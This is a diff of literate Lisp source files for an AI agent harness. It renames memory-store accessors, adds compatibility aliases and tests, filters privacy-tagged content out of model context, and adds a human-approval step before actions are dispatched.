(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
|
||||
(when (and todo-state (not (equal state todo-state))) (setf match nil))
|
||||
(when match (push obj results))))
|
||||
*memory*)
|
||||
*memory-store*)
|
||||
results))
|
||||
#+end_src
|
||||
|
||||
@@ -54,10 +70,11 @@ Filters the Memory store by tag, TODO state, or object type. This is the primary
|
||||
|
||||
Returns headlines tagged as ~project~ that are not yet DONE. Used by the global awareness function to build the task overview.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-active-projects ()
|
||||
"Returns headlines tagged as 'project' that are not yet marked DONE."
|
||||
(remove-if (lambda (obj) (equal (getf (org-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(remove-if (lambda (obj) (equal (getf (memory-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(context-query :tag "project" :type :HEADLINE)))
|
||||
#+end_src
|
||||
|
||||
@@ -65,6 +82,7 @@ Returns headlines tagged as ~project~ that are not yet DONE. Used by the global
|
||||
|
||||
Retrieves recently finished tasks from the store. Used by the Scribe and Gardener for journal summarization.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-recent-tasks ()
|
||||
"Retrieves recently finished tasks from the store."
|
||||
@@ -75,6 +93,7 @@ Retrieves recently finished tasks from the store. Used by the Scribe and Gardene
|
||||
|
||||
Provides a sorted overview of currently loaded system capabilities. Each entry includes the skill name, priority, and dependencies.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-skill-list ()
|
||||
"Provides a sorted overview of currently loaded system capabilities."
|
||||
@@ -82,7 +101,7 @@ Provides a sorted overview of currently loaded system capabilities. Each entry i
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
|
||||
*skills-registry*)
|
||||
*skill-registry*)
|
||||
(sort results #'> :key (lambda (x) (getf x :priority)))))
|
||||
#+end_src
|
||||
|
||||
@@ -90,6 +109,7 @@ Provides a sorted overview of currently loaded system capabilities. Each entry i
|
||||
|
||||
Reads the raw literate source of a specific skill for inspection. Used when the agent needs to understand or modify its own code.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-skill-source (skill-name)
|
||||
"Reads the raw literate source of a specific skill for inspection."
|
||||
@@ -97,20 +117,49 @@ Reads the raw literate source of a specific skill for inspection. Used when the
|
||||
(data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
|
||||
(org-dir (merge-pathnames "org/" data-dir))
|
||||
(full-path (merge-pathnames filename org-dir)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
#+end_src
|
||||
|
||||
** Subtree Skill Source (context-skill-subtree)
|
||||
|
||||
Returns a specific headline subtree from a skill's Org file. Delegates to
|
||||
=org-subtree-extract= in the =programming-org= skill for actual parsing.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-skill-subtree (skill-name heading-name)
|
||||
"Reads a specific headline subtree from a skill's Org source file.
|
||||
Returns the content under HEADING-NAME (including children) as a string,
|
||||
or nil if the heading is not found."
|
||||
(let ((full-source (context-skill-source skill-name)))
|
||||
(unless full-source (return-from context-skill-subtree nil))
|
||||
(if (fboundp 'org-subtree-extract)
|
||||
(org-subtree-extract full-source heading-name)
|
||||
;; Fallback: no org-subtree-extract available, return full source
|
||||
full-source)))
|
||||
#+end_src
|
||||
|
||||
** Harness Logs (context-logs)
|
||||
|
||||
Retrieves the most recent lines from the harness's internal log buffer. The log limit is configurable via ~CONTEXT_LOG_LIMIT~ env var (default 20).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-logs (&optional limit)
|
||||
"Retrieves the most recent lines from the harness's internal log."
|
||||
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
|
||||
(bt:with-lock-held (*logs-lock*)
|
||||
(let ((count (min log-limit (length *system-logs*))))
|
||||
(subseq *system-logs* 0 count)))))
|
||||
(bt:with-lock-held (*log-lock*)
|
||||
(let ((count (min log-limit (length *log-buffer*))))
|
||||
(subseq *log-buffer* 0 count)))))
|
||||
#+end_src
|
||||
|
||||
** Backward-Compatibility Alias (context-get-system-logs)
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-get-system-logs (&optional limit)
|
||||
"Backward-compatibility alias for context-logs."
|
||||
(context-logs limit))
|
||||
#+end_src
|
||||
|
||||
** AST to Org Rendering (context-object-render)
|
||||
@@ -124,19 +173,20 @@ Recursively renders an ~org-object~ and its children to an Org-mode string, appl
|
||||
|
||||
This function is the heart of the context assembly. Its performance directly affects the agent's response time.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-object-render (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
|
||||
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
|
||||
(let* ((id (org-object-id obj))
|
||||
(let* ((id (memory-object-id obj))
|
||||
(is-foveal (equal id foveal-id))
|
||||
(title (or (getf (org-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (org-object-content obj))
|
||||
(children (org-object-children obj))
|
||||
(title (or (getf (memory-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (memory-object-content obj))
|
||||
(children (memory-object-children obj))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(obj-vector (org-object-vector obj))
|
||||
(obj-vector (memory-object-vector obj))
|
||||
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
|
||||
(similarity (if (and foveal-vector obj-vector (not is-foveal))
|
||||
(cosine-similarity foveal-vector obj-vector)
|
||||
(vector-cosine-similarity foveal-vector obj-vector)
|
||||
0.0))
|
||||
(is-semantically-relevant (>= similarity threshold))
|
||||
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
|
||||
@@ -152,7 +202,7 @@ This function is the heart of the context assembly. Its performance directly aff
|
||||
(setf output (concatenate 'string output content (string #\Newline))))
|
||||
|
||||
(dolist (child-id children)
|
||||
(let ((child-obj (lookup-object child-id)))
|
||||
(let ((child-obj (memory-object-get child-id)))
|
||||
(when child-obj
|
||||
(let ((next-foveal (if is-foveal child-id foveal-id)))
|
||||
(setf output (concatenate 'string output
|
||||
@@ -168,6 +218,7 @@ This function is the heart of the context assembly. Its performance directly aff
|
||||
|
||||
Expands environment variables in a path string and strips quotes. Used to resolve configurable paths from ~.env~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-path-resolve (path-string)
|
||||
"Expands environment variables and strips literal quotes from a path string."
|
||||
@@ -188,10 +239,11 @@ Expands environment variables in a path string and strips quotes. Used to resolv
|
||||
|
||||
Checks if an org-object has tags matching the Bouncer's ~bouncer-privacy-tags~. Objects with matching tags are excluded from the LLM's context window. This prevents private content tagged with ~@personal~ (or any user-configured privacy tag) from being included in prompts sent to external LLM providers.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-privacy-filtered-p (obj)
|
||||
"Returns T if an org-object's :TAGS attribute matches bouncer-privacy-tags."
|
||||
(let* ((attrs (org-object-attributes obj))
|
||||
(let* ((attrs (memory-object-attributes obj))
|
||||
(tags (getf attrs :TAGS))
|
||||
(privacy-tags (and (find-package :passepartout.security-dispatcher)
|
||||
(symbol-value
|
||||
@@ -213,6 +265,7 @@ Produces the high-level skeletal outline of the current Memory that is included
|
||||
|
||||
Privacy-filtered projects (those with tags matching ~bouncer-privacy-tags~) are excluded from the output.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-awareness-assemble (&optional signal)
|
||||
"Produces a high-level skeletal outline of the current Memory for the LLM.
|
||||
@@ -230,6 +283,17 @@ Privacy-filtered objects (matching bouncer-privacy-tags) are excluded."
|
||||
output))
|
||||
#+end_src
|
||||
|
||||
** Backward-Compatibility Alias
|
||||
|
||||
The global awareness function was renamed from ~context-assemble-global-awareness~
|
||||
to ~context-awareness-assemble~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-assemble-global-awareness ()
|
||||
(context-awareness-assemble))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects.
|
||||
#+begin_src lisp :tangle ../lisp/core-context.lisp
|
||||
@@ -245,7 +309,8 @@ Verifies that the Foveal-Peripheral rendering correctly distinguishes between fo
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
@@ -258,10 +323,29 @@ Verifies that the Foveal-Peripheral rendering correctly distinguishes between fo
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
#+end_src
|
||||
|
||||
@@ -28,78 +28,97 @@ The package definition. All public symbols are exported here.
|
||||
(:export
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||
#:COSINE-SIMILARITY
|
||||
#:VAULT-MASK-STRING
|
||||
#:PROTO-GET
|
||||
#:proto-get
|
||||
#:*VAULT-MEMORY*
|
||||
#:parse-message
|
||||
#:make-hello-message
|
||||
#:validate-communication-protocol-schema
|
||||
#:start-daemon
|
||||
#:stop-daemon
|
||||
#:log-message
|
||||
#:main
|
||||
#:doctor-run-all
|
||||
#:doctor-main
|
||||
#:doctor-check-dependencies
|
||||
#:doctor-check-env
|
||||
#:register-provider
|
||||
#:system-ready-p
|
||||
#:diagnostics-run-all
|
||||
#:diagnostics-main
|
||||
#:diagnostics-dependencies-check
|
||||
#:diagnostics-env-check
|
||||
#:register-provider
|
||||
#:provider-openai-request
|
||||
#:provider-config
|
||||
#:run-setup-wizard
|
||||
#:skill-gateway-register
|
||||
#:skill-gateway-link
|
||||
#:gateway-manager-main
|
||||
#:ingest-ast
|
||||
#:lookup-object
|
||||
#:list-objects-by-type
|
||||
#:org-id-new
|
||||
#:*memory*
|
||||
#:*history-store*
|
||||
#:org-object
|
||||
#:make-org-object
|
||||
#:org-object-id
|
||||
#:org-object-type
|
||||
#:org-object-attributes
|
||||
#:org-object-parent-id
|
||||
#:org-object-children
|
||||
#:org-object-version
|
||||
#:org-object-last-sync
|
||||
#:org-object-vector
|
||||
#:org-object-content
|
||||
#:org-object-hash
|
||||
#:memory-object-get
|
||||
#:*memory-store*
|
||||
#:memory-object
|
||||
#:make-memory-object
|
||||
#:memory-object-id
|
||||
#:memory-object-type
|
||||
#:memory-object-attributes
|
||||
#:memory-object-parent-id
|
||||
#:memory-object-children
|
||||
#:memory-object-version
|
||||
#:memory-object-last-sync
|
||||
#:memory-object-vector
|
||||
#:memory-object-content
|
||||
#:memory-object-hash
|
||||
#:memory-object-scope
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
#:context-query-store
|
||||
#:context-get-active-projects
|
||||
#:context-get-recent-completed-tasks
|
||||
#:context-list-all-skills
|
||||
#:context-get-skill-source
|
||||
#:context-get-system-logs
|
||||
#:context-resolve-path
|
||||
#:context-get-skill-telemetry
|
||||
#:telemetry-track
|
||||
#:context-assemble-global-awareness
|
||||
#:context-get-system-logs
|
||||
#:context-assemble-global-awareness
|
||||
#:context-awareness-assemble
|
||||
#:context-query
|
||||
#:push-context
|
||||
#:pop-context
|
||||
#:current-context
|
||||
#:current-scope
|
||||
#:context-stack-depth
|
||||
#:context-save
|
||||
#:context-load
|
||||
#:focus-project
|
||||
#:focus-session
|
||||
#:focus-memex
|
||||
#:unfocus
|
||||
#:process-signal
|
||||
#:loop-process
|
||||
#:loop-process
|
||||
#:perceive-gate
|
||||
#:probabilistic-gate
|
||||
#:consensus-gate
|
||||
#:act-gate
|
||||
#:reason-gate
|
||||
#:dispatch-gate
|
||||
#:inject-stimulus
|
||||
#:initialize-actuators
|
||||
#:dispatch-action
|
||||
#:perceive-gate
|
||||
#:loop-gate-perceive
|
||||
#:act-gate
|
||||
#:loop-gate-act
|
||||
#:reason-gate
|
||||
#:loop-gate-reason
|
||||
#:cognitive-verify
|
||||
#:backend-cascade-call
|
||||
#:register-pre-reason-handler
|
||||
#:inject-stimulus
|
||||
#:stimulus-inject
|
||||
#:hitl-create
|
||||
#:hitl-approve
|
||||
#:hitl-deny
|
||||
#:hitl-handle-message
|
||||
#:dispatcher-check-secret-path
|
||||
#:dispatcher-check-shell-safety
|
||||
#:dispatcher-check-privacy-tags
|
||||
#:dispatcher-check-network-exfil
|
||||
#:dispatcher-gate
|
||||
#:wildcard-match
|
||||
#:actuator-initialize
|
||||
#:action-dispatch
|
||||
#:register-actuator
|
||||
#:load-skill-from-org
|
||||
#:skill-initialize-all
|
||||
#:load-skill-with-timeout
|
||||
#:topological-sort-skills
|
||||
#:validate-lisp-syntax
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:skill
|
||||
#:skill-initialize-all
|
||||
#:lisp-syntax-validate
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:*scope-resolver*
|
||||
#:*embedding-backend*
|
||||
#:*embedding-queue*
|
||||
#:*embedding-provider*
|
||||
#:embed-queue-object
|
||||
#:embed-object
|
||||
#:embed-all-pending
|
||||
#:embedding-backend-hashing
|
||||
#:embeddings-compute
|
||||
#:mark-vector-stale
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
@@ -108,61 +127,62 @@ The package definition. All public symbols are exported here.
|
||||
#:skill-deterministic-fn
|
||||
#:def-cognitive-tool
|
||||
#:*cognitive-tool-registry*
|
||||
#:verify-git-clean-p
|
||||
#:engineering-standards-verify-lisp
|
||||
#:engineering-standards-format-lisp
|
||||
#:literate-check-block-balance
|
||||
#:check-tangle-sync
|
||||
#:*tangle-targets*
|
||||
#:utils-org-read-file
|
||||
#:utils-org-write-file
|
||||
#:utils-org-add-headline
|
||||
#:utils-org-set-property
|
||||
#:utils-org-set-todo
|
||||
#:utils-org-find-headline-by-id
|
||||
#:utils-org-find-headline-by-title
|
||||
#:utils-org-generate-id
|
||||
#:utils-org-id-format
|
||||
#:utils-org-ast-to-org
|
||||
#:utils-org-modify
|
||||
#:utils-lisp-validate
|
||||
#:utils-lisp-check-structural
|
||||
#:utils-lisp-check-syntactic
|
||||
#:utils-lisp-check-semantic
|
||||
#:utils-lisp-eval
|
||||
#:utils-lisp-format
|
||||
#:utils-lisp-list-definitions
|
||||
#:utils-lisp-structural-extract
|
||||
#:utils-lisp-structural-wrap
|
||||
#:utils-lisp-structural-inject
|
||||
#:utils-lisp-structural-slurp
|
||||
#:utils-lisp-register
|
||||
#:org-read-file
|
||||
#:org-write-file
|
||||
#:org-headline-add
|
||||
#:org-headline-find-by-id
|
||||
#:literate-tangle-sync-check
|
||||
#:archivist-create-note
|
||||
#:gateway-start
|
||||
#:org-property-set
|
||||
#:org-todo-set
|
||||
#:org-id-generate
|
||||
#:org-id-format
|
||||
#:org-modify
|
||||
#:lisp-validate
|
||||
#:lisp-structural-check
|
||||
#:lisp-syntactic-check
|
||||
#:lisp-semantic-check
|
||||
#:lisp-eval
|
||||
#:lisp-format
|
||||
#:lisp-list-definitions
|
||||
#:lisp-extract
|
||||
#:lisp-inject
|
||||
#:lisp-slurp
|
||||
#:get-oc-config-dir
|
||||
#:prompt-for
|
||||
#:save-secret
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:permission-get
|
||||
#:permission-set
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
#:*emacs-clients*
|
||||
#:*clients-lock*
|
||||
#:register-emacs-client
|
||||
#:unregister-emacs-client
|
||||
#:ask-probabilistic
|
||||
#:register-probabilistic-backend
|
||||
#:distill-prompt
|
||||
#:*probabilistic-backends*
|
||||
#:*provider-cascade*
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:memory-objects-by-attribute
|
||||
#:deterministic-verify
|
||||
#:find-headline-missing-id))
|
||||
#:vault-get
|
||||
#:vault-set
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:memory-objects-by-attribute
|
||||
#:gateway-cli-input
|
||||
#:repl-eval
|
||||
#:repl-inspect
|
||||
#:repl-list-vars
|
||||
#:policy-compliance-check
|
||||
#:validator-protocol-check
|
||||
#:archivist-extract-headlines
|
||||
#:archivist-headline-to-filename
|
||||
#:literate-extract-lisp-blocks
|
||||
#:literate-block-balance-check
|
||||
#:gateway-registry-initialize
|
||||
#:messaging-link
|
||||
#:messaging-unlink
|
||||
#:gateway-configured-p))
|
||||
#+end_src
|
||||
|
||||
** Package Implementation
|
||||
@@ -254,6 +274,10 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
|
||||
(if descriptions
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
|
||||
(defun generate-tool-belt-prompt ()
|
||||
(cognitive-tool-prompt))
|
||||
#+end_src
|
||||
|
||||
*** Centralized logging (log-message)
|
||||
@@ -280,11 +304,13 @@ Friendly error handler that replaces the raw SBCL debugger with a diagnostic mes
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: passepartout doctor~%")
|
||||
(format t "│ Run: passepartout diagnostics~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(format t "Backtrace:~%")
|
||||
(sb-debug:print-backtrace :count 20 :stream *standard-output*)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
#+end_src
|
||||
|
||||
@@ -18,10 +18,20 @@ The key architectural choice: **actuators are not privileged**. The same dispatc
|
||||
|
||||
** Why Dispatch-Action Verifies Again?
|
||||
|
||||
The Reason stage already ran every proposed action through the deterministic engine. So why does ~loop-gate-act~ call ~deterministic-verify~ again?
|
||||
The Reason stage already ran every proposed action through the deterministic engine. So why does ~loop-gate-act~ call ~cognitive-verify~ again?
|
||||
|
||||
Because a skill's deterministic gate runs during Reason, but between Reason and Act, the action might have been transformed by the pipeline (metadata added, format normalized). The last-mile verification catches any transformation that might have introduced an unsafe property. It's the same philosophy as "trust but verify" — the second check is cheap and catches a class of bugs that would otherwise be silent data corruption.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (loop-gate-act signal): the final pipeline stage. Handles HITL
|
||||
~:approval-required~ (suspends action), runs last-mile
|
||||
~cognitive-verify~ on approved actions, dispatches via
|
||||
~action-dispatch~, sets ~:status :acted~, returns feedback.
|
||||
2. (act-gate signal): thin alias for ~loop-gate-act~.
|
||||
3. (action-dispatch approved signal): routes approved actions to
|
||||
registered actuators by ~:target~ keyword.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -35,13 +45,22 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
|
||||
|
||||
~*actuator-silent*~ lists actuator targets that don't generate tool-output feedback. For example, sending a message to the CLI or Emacs doesn't need to produce a tool-output event — the user can see the message directly. This prevents redundant feedback loops.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *actuator-default* :cli
|
||||
"The actuator used when no explicit target is specified.")
|
||||
|
||||
#+end_src
|
||||
** *actuator-silent*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *actuator-silent* '(:cli :system-message :emacs)
|
||||
"List of actuators that don't generate tool-output feedback.")
|
||||
|
||||
#+end_src
|
||||
** actuator-initialize
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun actuator-initialize ()
|
||||
"Register core actuators and load configuration."
|
||||
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
|
||||
@@ -64,6 +83,7 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
|
||||
(format stream "~a" (frame-message action))
|
||||
(finish-output stream))))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Action Dispatch (action-dispatch)
|
||||
|
||||
@@ -75,6 +95,7 @@ Routes an approved action to its registered actuator. The target is resolved in
|
||||
|
||||
Heartbeats are silently dropped here — they should never generate an actuation.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun action-dispatch (action context)
|
||||
"Route an approved action to its registered actuator."
|
||||
@@ -87,18 +108,25 @@ Heartbeats are silently dropped here — they should never generate an actuation
|
||||
(source (proto-get meta :source))
|
||||
(raw-target (or (proto-get action :target) source *actuator-default*))
|
||||
(target (intern (string-upcase (string raw-target)) :keyword))
|
||||
(actuator-fn (gethash target *actuator-registry*)))
|
||||
;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
|
||||
(actual-target (if (and (eq target :system)
|
||||
(getf meta :reply-stream)
|
||||
(ignore-errors (open-stream-p (getf meta :reply-stream))))
|
||||
:tui
|
||||
target))
|
||||
(actuator-fn (gethash actual-target *actuator-registry*)))
|
||||
(when (and meta (null (getf action :meta)))
|
||||
(setf (getf action :meta) meta))
|
||||
(if actuator-fn
|
||||
(funcall actuator-fn action context)
|
||||
(log-message "ACT ERROR: No actuator registered for '~s'" target))))))
|
||||
(log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
|
||||
#+end_src
|
||||
|
||||
** System Actuator (action-system-execute)
|
||||
|
||||
Handles internal harness commands: ~:eval~ (execute arbitrary Lisp) and ~:message~ (log to the harness log). This is how the deterministic engine communicates results back to the user.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun action-system-execute (action context)
|
||||
"Execute internal harness commands."
|
||||
@@ -126,6 +154,7 @@ The function handles:
|
||||
|
||||
The tool's return value is packed into a ~:tool-output~ event and fed back into the pipeline, where it becomes the next perception. This is how the agent "sees" the result of its actions.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun action-tool-execute (action context)
|
||||
"Execute a registered cognitive tool."
|
||||
@@ -135,7 +164,7 @@ The tool's return value is packed into a ~:tool-output~ event and fed back into
|
||||
(depth (getf context :depth 0))
|
||||
(meta (getf context :meta))
|
||||
(source (getf meta :source))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(if tool
|
||||
(handler-case
|
||||
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
|
||||
@@ -157,6 +186,7 @@ The tool's return value is packed into a ~:tool-output~ event and fed back into
|
||||
|
||||
Converts a tool's return value into a human-readable string for display to the user. Handles structured results (plists with ~:status~, ~:content~, ~:message~) and plain values.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun tool-result-format (tool-name result)
|
||||
"Format a tool result for display."
|
||||
@@ -179,18 +209,42 @@ The gate runs a last-mile deterministic check on the approved action before exec
|
||||
|
||||
After dispatch, the gate captures any feedback produced by the actuation (tool output, error events) and returns it to the loop for the next cognitive cycle.
|
||||
|
||||
*** loop-gate-act
|
||||
|
||||
The main act pipeline stage.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun loop-gate-act (signal)
|
||||
"Final stage of the metabolic pipeline: Actuation."
|
||||
"Final stage of the metabolic pipeline: Actuation.
|
||||
For approval-required actions, creates a Flight Plan instead of executing."
|
||||
(let* ((approved (getf signal :approved-action))
|
||||
(signal-status (getf signal :status))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(source (getf meta :source))
|
||||
(feedback nil))
|
||||
;; HITL: if the approved action requires human approval,
|
||||
;; create a Flight Plan (Emacs) and HITL entry (all gateways).
|
||||
(when (and approved
|
||||
(eq (getf approved :level) :approval-required))
|
||||
(let* ((payload (getf approved :payload))
|
||||
(blocked-action (getf payload :action))
|
||||
(hitl (hitl-create blocked-action)))
|
||||
(log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
|
||||
(dispatcher-flight-plan-create blocked-action)
|
||||
(setf (getf signal :status) :suspended)
|
||||
(action-dispatch (list :target source
|
||||
:payload (list :text (getf hitl :message)))
|
||||
signal)
|
||||
(setf approved nil)
|
||||
(setf feedback nil)))
|
||||
(when approved
|
||||
(let* ((original-type (getf approved :type))
|
||||
(verified (deterministic-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) (not (member original-type '(:LOG :EVENT))))
|
||||
(verified (cognitive-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
|
||||
(not (eq (getf verified :level) :approval-required))
|
||||
(not (member original-type '(:LOG :EVENT))))
|
||||
(progn
|
||||
(log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
|
||||
(setf (getf signal :approved-action) nil)
|
||||
@@ -217,6 +271,18 @@ After dispatch, the gate captures any feedback produced by the actuation (tool o
|
||||
feedback))
|
||||
#+end_src
|
||||
|
||||
*** act-gate (backward-compatibility alias)
|
||||
|
||||
The pipeline gate was originally named ~act-gate~. Code that still
|
||||
uses the old name can call this alias. New code should call
|
||||
~loop-gate-act~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun act-gate (signal)
|
||||
(loop-gate-act signal))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~.
|
||||
#+begin_src lisp :tangle ../lisp/core-loop-act.lisp
|
||||
@@ -233,9 +299,48 @@ Verifies that the act gate correctly processes an approved action and sets the s
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
#+end_src
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
